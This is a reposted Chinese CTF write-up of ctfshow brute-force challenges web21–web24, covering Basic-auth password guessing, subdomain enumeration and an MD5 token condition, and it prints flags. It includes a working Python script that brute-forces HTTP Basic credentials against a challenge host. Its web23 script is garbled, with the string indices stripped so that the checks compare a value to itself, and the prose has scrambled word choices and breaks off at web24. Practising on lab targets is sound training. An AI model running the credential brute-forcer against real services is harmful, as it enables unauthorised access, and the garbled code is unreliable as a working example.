南七星之家 发表于 2024-10-16 16:03:36

ctfshow-web入门-爆破(web21-web24)

目录

1、web21
2、web22
3、web23
4、web24

1、web21

爆破什么的,都是基操 https://i-blog.csdnimg.cn/blog_migrate/9697c4b9326539d9e644d948454ab4da.png
需要认证才气访问
https://i-blog.csdnimg.cn/blog_migrate/f7af93a3a2562a5cba8b4dc6d59ffbe2.png
随便输一个用户名和密码抓包看看:
多出来一个认证的头 Authorization: Basic YWRtaW46MTIzNDU2
https://i-blog.csdnimg.cn/blog_migrate/c6b71bbf9f9c8d90c31333a3bd2bc098.png
base64 解码看看:
就是我们刚才输入的用于测试的用户名和密码
https://i-blog.csdnimg.cn/blog_migrate/ce090d5ed6dc2ae23f2299ca881f17dc.png
发到攻击模块进行爆破,设置爆破的位置
https://i-blog.csdnimg.cn/blog_migrate/943bbab1d89f0ef0b10ccf0d7f16fe6c.png
有限载荷选择自定义迭代器,因为它这里的用户名和密码合并在了一起,使用冒号隔开的,假如是相互独立的参数,多个参数我们会采用其他的攻击模式而不是使用狙击手。
https://i-blog.csdnimg.cn/blog_migrate/485da79688e17b0852b790d2eaa65a94.png
设置位置一:用户名(着实一般我们猜都是猜 admin )
https://i-blog.csdnimg.cn/blog_migrate/c3b973f968b048b280bc91a744cdddee.png
设置位置二:冒号
https://i-blog.csdnimg.cn/blog_migrate/3401f27ce68e81229b8694ed7554feb7.png
设置位置三:密码
我这里最开始用字典没爆破出来,看了它的提示,密码是 shark63(这里紧张是做测试)
https://i-blog.csdnimg.cn/blog_migrate/a0f9444f765a423447e0c4aadebf26a4.png
之后我们需要对 payload 进行base64 编码 
https://i-blog.csdnimg.cn/blog_migrate/d5372b128a58f7fcf18565177a61838d.png
注意这里需要将 URL 编码取消掉:
https://i-blog.csdnimg.cn/blog_migrate/7b3cb9ee0c9816a79507a07ce9277655.png
检察爆破效果,筛选长度不同的:YWRtaW46c2hhcms2Mw==
https://i-blog.csdnimg.cn/blog_migrate/290f58561c7f65c89d4c9c1fe456e93f.png
解码为:
https://i-blog.csdnimg.cn/blog_migrate/feb7531a0353f4c291b9da8f080a380f.png
登录:
https://i-blog.csdnimg.cn/blog_migrate/5b8e944bad66a5fa07918eb485e21f8a.png
拿到 flag:ctfshow{1ccf243b-8b20-4db4-b956-8c571066c0c5}
参考了一下它这个代码,有点问题:
https://i-blog.csdnimg.cn/blog_migrate/e47d3b8ba4d9b6068171788542871479.png
本身重新写了个简单的:此中 test.txt 是我们自定义的一个密码字典
import requests
import base64

url = 'https://bc4afed2-ccc8-4ecc-a665-be5a5420435c.challenge.ctf.show/'

with open("test.txt", "r") as f:
    for i in f:
      i = i.strip()
      payload = "admin:"+i
      header = {"Authorization": "Basic {}".format(base64.b64encode(payload.encode()).decode())}
      # payload.encode() 将字符串 payload 转换为字节串
      re = requests.get(url, headers=header)
      # print(re.status_code)
      if re.status_code == 200:
            print(re.text) https://i-blog.csdnimg.cn/blog_migrate/ed286c3be995a055d946905fd5a38a17.png
运行即可拿到 flag:ctfshow{3233c118-e8d4-461e-aba5-ba801a420a31}

2、web22

域名也可以爆破的,试试爆破这个ctf.show的子域名 https://i-blog.csdnimg.cn/blog_migrate/0f531604cfe1a70a510d01051bd81197.png
flag.ctf.show 页面无法访问(前面有一个查这个域名的 DNS 的 TXT信息的题也是有问题)
使用 layer 挖一下 ctf.show 的子域名
https://i-blog.csdnimg.cn/blog_migrate/a10d3b13c50903d6156819cf33fccc60.png
网上说是在 vip.ctf.show ,将鼠标悬停在标题处,但是我试了一下现在已经不可了
https://i-blog.csdnimg.cn/blog_migrate/d5d854f23f167cc8ef49747415fbe29c.png
flag 为:flag{ctf_show_web}

3、web23

还爆破?这么多代码,告辞! https://i-blog.csdnimg.cn/blog_migrate/522745ac94d9d7dda49347b8206073b7.png
php 函数介绍:
(1)intval 函数用于将变量转换为整数
示例:
echo intval("42"); // 输出 42
echo intval("42abc"); // 输出 42
echo intval("abc42"); // 输出 0 https://i-blog.csdnimg.cn/blog_migrate/f880c5c079f402d3f83ef583c2224cb6.png
(2)substr 函数用于从字符串中提取子字符串
用法:
$substring = substr($string, $start, $length);
参数说明:
string:要提取子字符串的字符串。
start:开始位置,从 0 开始。假如是负数,则从字符串末尾开始盘算位置。
length(可选):提取的子字符串长度。假如省略,则提取从 start 到字符串末尾的所有字符。 
示例:
echo substr("Hello, world!", 4);
echo substr("Hello, world!", 4, 5); https://i-blog.csdnimg.cn/blog_migrate/fafb2255627f6a7f2da03b438a39a9ea.png
代码审计:
以 get 方式提交参数 token;
md5($_GET['token']) 会将 token 参数转换为一个 32 字符的十六进制字符串;
substr($token, 1,1) === substr($token, 14,1) && substr($token, 14,1) === substr($token, 17,1)
比较 MD5 哈希的第 2、15 和 18 个字符是否相同;
(intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1) === intval(substr($token, 31,1)) 将第 2、15 和 18 个字符转换为整数相加,再除以第 2 个字符的整数值,查抄效果是否即是第 32 个字符的整数值;
上述条件都满足则会输出 flag。
写个Python 脚原来遍历出符合要求的字符串:
import hashlib
import itertools


def check_token(token):
    """
    检查给定的 token 是否符合特定的条件。
    1. token 的 MD5 哈希值的第 2、15 和 18 个字符相同。
    2. 这些字符的整数值与第 32 个字符满足特定的算术关系。
    """
    hashed_token = hashlib.md5(token.encode()).hexdigest()

    # 条件1:检查第 2、15 和 18 个字符是否相同
    if not (hashed_token == hashed_token == hashed_token):
      return False

    # 条件2:检查特定的算术关系
    try:
      char1 = int(hashed_token)
      char31 = int(hashed_token)

      # 避免除零错误
      if char1 == 0:
            return False

      if (3 * char1) / char1 == char31:
      # 第 2、15 和 18 个字符是相同的,因此它们转成整数值也是相同的,所以直接用 3 倍关系
            return True
    except ValueError:
      return False

    return False

# 定义包含所有字母和数字的字符集
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

# 遍历所有可能的组合(这里以长度为1到5为例,可以根据需要调整)
for length in range(1, 6):# 尝试长度从 1 到 5 的组合
    for candidate in (''.join(c) for c in itertools.product(characters, repeat=length)):
      if check_token(candidate):
            print(f"符合条件的 token 是: {candidate}")
            break# 找到符合条件的 token 后停止
    else:
      continue# 如果内循环没有中断,则继续外循环
    break# 找到符合条件的 token 后,退出外循环
else:
    print("没有找到符合条件的 token")# 如果所有组合都不符合条件,输出消息
https://i-blog.csdnimg.cn/blog_migrate/e71249c328a6f9ce0610772a5bea7bf0.png 构造 payload:?token=ZE
https://i-blog.csdnimg.cn/blog_migrate/b92b30cfa1a51e8996a886bbeed32678.png
拿到 flag:ctfshow{3ee12286-7b8f-4962-bf3c-ebbc8c04ce10}

4、web24

爆个
页: [1]
查看完整版本: ctfshow-web入门-爆破(web21-web24)